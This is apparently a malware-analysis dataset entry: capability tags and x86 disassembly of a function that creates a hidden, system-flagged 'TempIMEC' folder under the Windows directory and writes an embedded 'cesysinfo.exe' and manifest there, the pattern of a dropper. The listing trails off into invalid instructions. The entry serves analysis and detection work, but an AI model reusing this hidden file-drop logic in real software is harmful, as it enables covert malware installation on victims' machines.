Function at 0x401f30
Capabilities:
Create directory
Get common file path
Initialize winsock library
Resolve dns
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c4
mov eax, dword [0x56f190]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor esi, esi
push 0x104
lea eax, [ebp - 0x110]
mov ebx, ecx
push esi
push eax
mov dword [ebp - 0x2ac], ebx
mov dword [ebp - 0x2a4], esi
mov dword [ebp - 0x2a8], esi
mov dword [ebp - 0x2c0], esi
call fcn.00503a40
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x110]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401f90
mov edx, dword [str.TempIMEC]
mov ecx, dword [0x54edf0]
mov dword [eax], edx
mov dx, word [0x54edf4]
mov dword [eax + 4], ecx
mov cl, byte [0x54edf6]
mov word [eax + 8], dx
push esi
lea edx, [ebp - 0x110]
push edx
mov byte [eax + 0xa], cl
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 6
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edi, [ebp - 0x110]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401fe1
mov cx, word [0x54edf8]
lea eax, [ebp - 0x110]
mov word [edi], cx
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402000
sub eax, edx
lea edx, [ebp + eax - 0x110]
mov eax, dword [ebx + 0xbc]
mov dword [ebp - 0x2b4], edx
mov dword [ebp - 0x2bc], eax
cmp eax, esi
je 0x402294
cmp dword [eax + 0x1c], 0x50464844
jne 0x402294
mov ecx, edx
sub ecx, eax
sub ecx, 0x20
mov dword [ebp - 0x2b8], esi
lea ebx, [eax + 0x30]
mov dword [ebp - 0x2b0], ecx
lea ecx, [ecx]
mov eax, dword [ebx]
cmp eax, 0x4d534546
jne 0x4020c1
mov eax, dword [str.cesysinfo.exe]
mov ecx, dword [0x54ee00]
mov dword [edx], eax
mov eax, dword [0x54ee04]
mov dword [edx + 4], ecx
mov cx, word [0x54ee08]
mov dword [edx + 8], eax
mov eax, dword [ebp - 0x2ac]
mov word [edx + 0xc], cx
mov esi, dword [ebx + 8]
add esi, dword [eax + 0xbc]
mov edx, dword [ebx + 0xc]
lea ecx, [eax + 0xc4]
lea eax, [ebp - 0x110]
mov dword [ebp - 0x2a8], edx
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4020a3
sub eax, edi
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.004030c0
mov edx, dword [ebp - 0x2b4]
jmp 0x40210d
cmp eax, 0x4d534d46
jne 0x4020db
mov ecx, 5
mov esi, str.cesysinfo.exe.manifest
mov edi, edx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
jmp 0x4020f5
cmp eax, 0x4d534446
jne 0x40210d
lea eax, [ebx - 0x10]
mov cl, byte [eax]
mov esi, dword [ebp - 0x2b0]
mov byte [esi + eax], cl
inc eax
test cl, cl
jne 0x4020e5
mov eax, dword [ebx + 0xc]
mov ecx, dword [ebp - 0x2ac]
mov esi, dword [ebx + 8]
add esi, dword [ecx + 0xbc]
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0
je 0x40218c
test esi, esi
je 0x40218c
push 0
push 6
push 2
push 0
push 3
push 0xc0000000
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402178
test edi, edi
je 0x402178
mov eax, dword [ebp - 0x2a8]
push 0
lea edx, [ebp - 0x2c0]
push edx
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x402169
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x2a4], eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
mov dword [ebp - 0x2a8], esi
mov eax, dword [ebp - 0x2a4]
test eax, eax
invalid
test dword [eax], edx
add dword [eax], eax